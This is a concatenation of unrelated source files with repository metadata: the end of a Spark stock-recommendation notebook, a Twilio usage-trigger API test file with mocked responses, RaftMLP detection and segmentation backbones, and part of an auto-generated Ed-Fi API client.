Evaluate the model on training data #EXTRACT ONLY (MEMBERID,STOCKID) testDataSetModified = testDataSet.map(lambda p:(p[0],p[1])) #PREDICT predictedData = model.predictAll(testDataSetModified).map(lambda r: ((r[0], r[1]), r[2])) ratingsAndPredictions = transData.map(lambda r: ((r[0], r[1]), r[2])).join(predictedData) MSE = ratingsAndPredictions.map(lambda r: (r[1][0] - r[1][1])**2).mean() print("Root Mean Squared Error = " + str(MSE**0.5)) def getPredictions(memid): y = 0 tempList = [] print "stkno"+"\t"+ "howmuch" while y<40: temp = int(model.predict(23,y)) if temp > 0: tempList.append(temp) print str(y)+"\t"+str(temp) y = y+1 return tempList def getRecommendation(memid): getPredictions(memid) def makeModelReady(): LoadData() ReduceAndTransfromData() makeModel() makeModelReady() getRecommendation(30) # In[8]: getRecommendation(29) # In[ ]: ### print newRawData.take(30)[25][7] print newRawData.take(30)[25] plotActualData = [] loopThroughData = newRawData.take(40)[30] for x in loopThroughData: if float(x) == 99: plotActualData.append(0) else: plotActualData.append(int(float(x))) plotPredictedData = [] k = 0 while (k<40): plotPredictedData.append(int(model.predict(30,k))) k = k + 1 import matplotlib.pyplot as plt plt.plot(range(40),plotActualData,label='actual') plt.plot(range(40),plotPredictedData,label='predicted') plt.show() print plotActualData[23] print plotPredictedData[23]

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5.283069

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0.035053

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0.016525

0.872308

0.849775

0.797196

0.787181

0

0.040546

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6,039

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94

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null

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null

0

1

0

1

0

null

0

1

0

8

540e7471bee2dba8d346942aab7226385c06ccb5

137

py

Python

tests/codestudio_tests.py

xenomorff/code-dot-org-python

7b35999dc35fa9ca13c683f43eca631dc92e5da4

[ "Unlicense" ]

null

tests/codestudio_tests.py

xenomorff/code-dot-org-python

7b35999dc35fa9ca13c683f43eca631dc92e5da4

[ "Unlicense" ]

null

tests/codestudio_tests.py

xenomorff/code-dot-org-python

7b35999dc35fa9ca13c683f43eca631dc92e5da4

[ "Unlicense" ]

null

import sys sys.path.append('..') import codestudio.artist as a from nose.tools import assert_equals from nose.tools import assert_raises

22.833333

36

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0.348624

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null

0

1

0

1

0

1

0

7

540fcb149f2754fc495fb016301d30b0b8615edf

11,366

py

Python

SpoTwillio/lib/python3.6/site-packages/tests/integration/api/v2010/account/usage/test_trigger.py

Natfan/funlittlethings

80d5378b45b5c0ead725942ee50403bd057514a6

[ "MIT" ]

3

2019-11-12T07:55:51.000Z

2020-04-01T11:19:18.000Z

SpoTwillio/lib/python3.6/site-packages/tests/integration/api/v2010/account/usage/test_trigger.py

Natfan/funlittlethings

80d5378b45b5c0ead725942ee50403bd057514a6

[ "MIT" ]

7

2020-06-06T01:06:19.000Z

2022-02-10T11:15:14.000Z

SpoTwillio/lib/python3.6/site-packages/tests/integration/api/v2010/account/usage/test_trigger.py

Natfan/funlittlethings

80d5378b45b5c0ead725942ee50403bd057514a6

[ "MIT" ]

2

2019-10-20T14:54:47.000Z

2020-06-11T07:29:37.000Z

# coding=utf-8 """ This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class TriggerTestCase(IntegrationTestCase): def test_fetch_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").fetch() self.holodeck.assert_has_request(Request( 'get', 'https://api.twilio.com/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.json', )) def test_fetch_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "api_version": "2010-04-01", "callback_method": "GET", "callback_url": "http://cap.com/streetfight", "current_value": "0", "date_created": "Sun, 06 Sep 2015 12:58:45 +0000", "date_fired": null, "date_updated": "Sun, 06 Sep 2015 12:58:45 +0000", "friendly_name": "raphael-cluster-1441544325.86", "recurring": "yearly", "sid": "UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "trigger_by": "price", "trigger_value": "50", "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "usage_category": "totalprice", "usage_record_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Records?Category=totalprice" } ''' )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").fetch() self.assertIsNotNone(actual) def test_update_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").update() self.holodeck.assert_has_request(Request( 'post', 'https://api.twilio.com/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.json', )) def test_update_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "api_version": "2010-04-01", "callback_method": "GET", "callback_url": "http://cap.com/streetfight", "current_value": "0", "date_created": "Sun, 06 Sep 2015 12:58:45 +0000", "date_fired": null, "date_updated": "Sun, 06 Sep 2015 12:58:45 +0000", "friendly_name": "raphael-cluster-1441544325.86", "recurring": "yearly", "sid": "UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "trigger_by": "price", "trigger_value": "50", "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "usage_category": "totalprice", "usage_record_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Records?Category=totalprice" } ''' )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").update() self.assertIsNotNone(actual) def test_delete_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").delete() self.holodeck.assert_has_request(Request( 'delete', 'https://api.twilio.com/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.json', )) def test_delete_response(self): self.holodeck.mock(Response( 204, None, )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers(sid="UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").delete() self.assertTrue(actual) def test_create_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers.create(callback_url="https://example.com", trigger_value="trigger_value", usage_category="authy-authentications") values = { 'CallbackUrl': "https://example.com", 'TriggerValue': "trigger_value", 'UsageCategory': "authy-authentications", } self.holodeck.assert_has_request(Request( 'post', 'https://api.twilio.com/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers.json', data=values, )) def test_create_response(self): self.holodeck.mock(Response( 201, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "api_version": "2010-04-01", "callback_method": "GET", "callback_url": "http://cap.com/streetfight", "current_value": "0", "date_created": "Sun, 06 Sep 2015 12:58:45 +0000", "date_fired": null, "date_updated": "Sun, 06 Sep 2015 12:58:45 +0000", "friendly_name": "raphael-cluster-1441544325.86", "recurring": "yearly", "sid": "UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "trigger_by": "price", "trigger_value": "50", "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "usage_category": "totalprice", "usage_record_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Records?Category=totalprice" } ''' )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers.create(callback_url="https://example.com", trigger_value="trigger_value", usage_category="authy-authentications") self.assertIsNotNone(actual) def test_list_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers.list() self.holodeck.assert_has_request(Request( 'get', 'https://api.twilio.com/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers.json', )) def test_read_full_response(self): self.holodeck.mock(Response( 200, ''' { "end": 0, "first_page_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers?PageSize=1&Page=0", "last_page_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers?PageSize=1&Page=626", "next_page_uri": null, "num_pages": 627, "page": 0, "page_size": 1, "previous_page_uri": null, "start": 0, "total": 627, "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers", "usage_triggers": [ { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "api_version": "2010-04-01", "callback_method": "GET", "callback_url": "http://cap.com/streetfight", "current_value": "0", "date_created": "Sun, 06 Sep 2015 12:58:45 +0000", "date_fired": null, "date_updated": "Sun, 06 Sep 2015 12:58:45 +0000", "friendly_name": "raphael-cluster-1441544325.86", "recurring": "yearly", "sid": "UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "trigger_by": "price", "trigger_value": "50", "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers/UTaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "usage_category": "totalprice", "usage_record_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Records?Category=totalprice" } ] } ''' )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers.list() self.assertIsNotNone(actual) def test_read_empty_response(self): self.holodeck.mock(Response( 200, ''' { "end": 0, "first_page_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers?PageSize=1&Page=0", "last_page_uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers?PageSize=1&Page=626", "next_page_uri": null, "num_pages": 627, "page": 0, "page_size": 1, "previous_page_uri": null, "start": 0, "total": 627, "uri": "/2010-04-01/Accounts/ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/Usage/Triggers", "usage_triggers": [] } ''' )) actual = self.client.api.v2010.accounts(sid="ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") \ .usage \ .triggers.list() self.assertIsNotNone(actual)

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9

541449afb8024b9df5dc0a7351dccf3d67f8a70e

10,897

py

Python

backbones/__init__.py

okojoalg/raft-mlp

6060d5d95e142acf80cea6d180adfb075cbe87d0

[ "Apache-2.0" ]

20

2021-08-11T06:06:16.000Z

2022-03-25T12:34:08.000Z

backbones/__init__.py

okojoalg/raft-mlp

6060d5d95e142acf80cea6d180adfb075cbe87d0

[ "Apache-2.0" ]

null

backbones/__init__.py

okojoalg/raft-mlp

6060d5d95e142acf80cea6d180adfb075cbe87d0

[ "Apache-2.0" ]

4

2021-08-12T01:07:17.000Z

2022-02-16T21:32:40.000Z

import copy import math from einops import rearrange from mmcv.runner import BaseModule from mmdet.models.builder import BACKBONES as DET_BACKBONES from mmseg.models.builder import BACKBONES as SEG_BACKBONES from torch import nn from libs.consts import ORIGINAL_TM, EMB_MIXER, SER_PM, EMB_CROSS_MLP from libs.models import RaftMLP class DetRaftMLP(RaftMLP, BaseModule): def __init__(self, layers, dropout, token_mixing_type, embedding_type, drop_path_rate, init_cfg, ): super(DetRaftMLP, self).__init__( layers=layers, in_channels=3, pretrained_image_size=224, num_classes=1000, token_expansion_factor=2, channel_expansion_factor=4, dropout=dropout, token_mixing_type=token_mixing_type, embedding_type=embedding_type, shortcut=False, drop_path_rate=drop_path_rate ) self._is_init = False self.init_cfg = copy.deepcopy(init_cfg) self.heads = nn.Identity() self.classifier = nn.Identity() self.features = [] def forward(self, input): output = [] def forward_hook(module, inputs, outputs): self.features.append(rearrange(outputs, "b (h w) c -> b c h w", h=math.ceil(self.levels[0].h / self.levels[0].patch_size), w=math.ceil(self.levels[0].w / self.levels[0].patch_size)).contiguous()) handles = [self.levels[0].fn[i].register_forward_hook(forward_hook) for i in (1,)] for i, layer in enumerate(self.layers): input = self.levels[i](input) if i == 0: output = self.features else: output.append(input.contiguous()) self.features = [] for handle in handles: handle.remove() return tuple(output) @DET_BACKBONES.register_module() class DetRaftMLPSmall(DetRaftMLP): def __init__(self, *args, **kwargs): super(DetRaftMLPSmall, self).__init__( layers=[ {"depth": 2, "dim": 64, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 128, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 256, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 512, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @DET_BACKBONES.register_module() class DetRaftMLPMedium(DetRaftMLP): def __init__(self, *args, **kwargs): super(DetRaftMLPMedium, self).__init__( layers=[ {"depth": 2, "dim": 96, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 192, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 384, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 768, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @DET_BACKBONES.register_module() class DetRaftMLPLarge(DetRaftMLP): def __init__(self, *args, **kwargs): super(DetRaftMLPLarge, self).__init__( layers=[ {"depth": 2, "dim": 128, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 192, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 512, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 1024, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @DET_BACKBONES.register_module() class DetOrgMixer(DetRaftMLP): def __init__(self, *args, **kwargs): super(DetOrgMixer, self).__init__( layers=[ {"depth": 12, "dim": 768, "patch_size": 16}, ], dropout=0., token_mixing_type=ORIGINAL_TM, embedding_type=EMB_MIXER, drop_path_rate=0., *args, **kwargs ) def forward(self, input): output = [] def forward_hook(module, inputs, outputs): self.features.append(rearrange(outputs, "b (h w) c -> b c h w", h=math.ceil(self.levels[0].h / self.levels[0].patch_size), w=math.ceil(self.levels[0].w / self.levels[0].patch_size)).contiguous()) handles = [self.levels[0].fn[i].register_forward_hook(forward_hook) for i in (1, 5, 11)] for i, layer in enumerate(self.layers): input = self.levels[i](input) if i == 0: output = self.features output.append(input.contiguous()) self.features = [] for handle in handles: handle.remove() return tuple(output) class SegRaftMLP(RaftMLP, BaseModule): def __init__(self, layers, dropout, token_mixing_type, embedding_type, drop_path_rate, init_cfg, ): super(SegRaftMLP, self).__init__( layers=layers, in_channels=3, pretrained_image_size=224, num_classes=1000, token_expansion_factor=2, channel_expansion_factor=4, dropout=dropout, token_mixing_type=token_mixing_type, embedding_type=embedding_type, shortcut=False, drop_path_rate=drop_path_rate ) self._is_init = False self.init_cfg = copy.deepcopy(init_cfg) self.heads = nn.Identity() self.classifier = nn.Identity() self.features = [] def forward(self, input): output = [] def forward_hook(module, inputs, outputs): self.features.append(rearrange(outputs, "b (h w) c -> b c h w", h=math.ceil(self.levels[0].h / self.levels[0].patch_size), w=math.ceil(self.levels[0].w / self.levels[0].patch_size)).contiguous()) handles = [self.levels[0].fn[i].register_forward_hook(forward_hook) for i in (1,)] for i, layer in enumerate(self.layers): input = self.levels[i](input) if i == 0: output = self.features else: output.append(input.contiguous()) self.features = [] for handle in handles: handle.remove() return tuple(output) @SEG_BACKBONES.register_module() class SegRaftMLPSmall(SegRaftMLP): def __init__(self, *args, **kwargs): super(SegRaftMLPSmall, self).__init__( layers=[ {"depth": 2, "dim": 64, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 128, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 256, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 512, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @SEG_BACKBONES.register_module() class SegRaftMLPMedium(SegRaftMLP): def __init__(self, *args, **kwargs): super(SegRaftMLPMedium, self).__init__( layers=[ {"depth": 2, "dim": 96, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 192, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 384, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 768, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @SEG_BACKBONES.register_module() class SegRaftMLPLarge(SegRaftMLP): def __init__(self, *args, **kwargs): super(SegRaftMLPLarge, self).__init__( layers=[ {"depth": 2, "dim": 128, "patch_size": 4, "raft_size": 2, "embedding_kernels": [4, 8]}, {"depth": 2, "dim": 192, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 6, "dim": 512, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2, 4]}, {"depth": 2, "dim": 1024, "patch_size": 2, "raft_size": 2, "embedding_kernels": [2]}, ], dropout=0., token_mixing_type=SER_PM, embedding_type=EMB_CROSS_MLP, drop_path_rate=0., *args, **kwargs ) @SEG_BACKBONES.register_module() class SegOrgMixer(SegRaftMLP): def __init__(self, *args, **kwargs): super(SegOrgMixer, self).__init__( layers=[ {"depth": 12, "dim": 768, "patch_size": 16}, ], dropout=0., token_mixing_type=ORIGINAL_TM, embedding_type=EMB_MIXER, drop_path_rate=0., *args, **kwargs ) def forward(self, input): output = [] def forward_hook(module, inputs, outputs): self.features.append(rearrange(outputs, "b (h w) c -> b c h w", h=math.ceil(self.levels[0].h / self.levels[0].patch_size), w=math.ceil(self.levels[0].w / self.levels[0].patch_size)).contiguous()) handles = [self.levels[0].fn[i].register_forward_hook(forward_hook) for i in (1, 5, 11)] for i, layer in enumerate(self.layers): input = self.levels[i](input) if i == 0: output = self.features output.append(input.contiguous()) self.features = [] for handle in handles: handle.remove() return tuple(output)

38.101399

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0.533358

1,237

10,897

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10,897

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0

null

0

1

0

1

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null

0

7

5459a4357fea29d72017c89972765af3065f78db

47,287

py

Python

src/v5.3/resources/swagger_client/api/staff_education_organization_assignment_associations_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

2

2021-04-27T17:18:17.000Z

2021-04-27T19:14:39.000Z

src/v5.3/resources/swagger_client/api/staff_education_organization_assignment_associations_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

null

src/v5.3/resources/swagger_client/api/staff_education_organization_assignment_associations_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

1

2022-01-06T09:43:11.000Z

# coding: utf-8 """ Ed-Fi Operational Data Store API The Ed-Fi ODS / API enables applications to read and write education data stored in an Ed-Fi ODS through a secure REST interface. *** > *Note: Consumers of ODS / API information should sanitize all data for display and storage. The ODS / API provides reasonable safeguards against cross-site scripting attacks and other malicious content, but the platform does not and cannot guarantee that the data it contains is free of all potentially harmful content.* *** # noqa: E501 OpenAPI spec version: 3 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class StaffEducationOrganizationAssignmentAssociationsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def delete_staff_education_organization_assignment_association_by_id(self, id, **kwargs): # noqa: E501 """Deletes an existing resource using the resource identifier. # noqa: E501 The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_staff_education_organization_assignment_association_by_id(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_staff_education_organization_assignment_association_by_id_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.delete_staff_education_organization_assignment_association_by_id_with_http_info(id, **kwargs) # noqa: E501 return data def delete_staff_education_organization_assignment_association_by_id_with_http_info(self, id, **kwargs): # noqa: E501 """Deletes an existing resource using the resource identifier. # noqa: E501 The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_staff_education_organization_assignment_association_by_id_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'if_match'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_staff_education_organization_assignment_association_by_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `delete_staff_education_organization_assignment_association_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_match' in params: header_params['If-Match'] = params['if_match'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def deletes_staff_education_organization_assignment_associations(self, **kwargs): # noqa: E501 """Retrieves deleted resources based on change version. # noqa: E501 The DELETES operation is used to retrieve deleted resources. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.deletes_staff_education_organization_assignment_associations(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[DeletedResource] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.deletes_staff_education_organization_assignment_associations_with_http_info(**kwargs) # noqa: E501 else: (data) = self.deletes_staff_education_organization_assignment_associations_with_http_info(**kwargs) # noqa: E501 return data def deletes_staff_education_organization_assignment_associations_with_http_info(self, **kwargs): # noqa: E501 """Retrieves deleted resources based on change version. # noqa: E501 The DELETES operation is used to retrieve deleted resources. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.deletes_staff_education_organization_assignment_associations_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[DeletedResource] If the method is called asynchronously, returns the request thread. """ all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method deletes_staff_education_organization_assignment_associations" % key ) params[key] = val del params['kwargs'] if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `deletes_staff_education_organization_assignment_associations`, must be a value less than or equal to `500`") # noqa: E501 if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `deletes_staff_education_organization_assignment_associations`, must be a value greater than or equal to `0`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'min_change_version' in params: query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501 if 'max_change_version' in params: query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501 header_params = {} if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations/deletes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[DeletedResource]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_staff_education_organization_assignment_associations(self, **kwargs): # noqa: E501 """Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501 This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_staff_education_organization_assignment_associations(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided. :param str staff_classification_descriptor: The titles of employment, official status, or rank of education staff. :param date begin_date: Month, day, and year of the start or effective date of a staff member's employment, contract, or relationship with the education organization. :param int 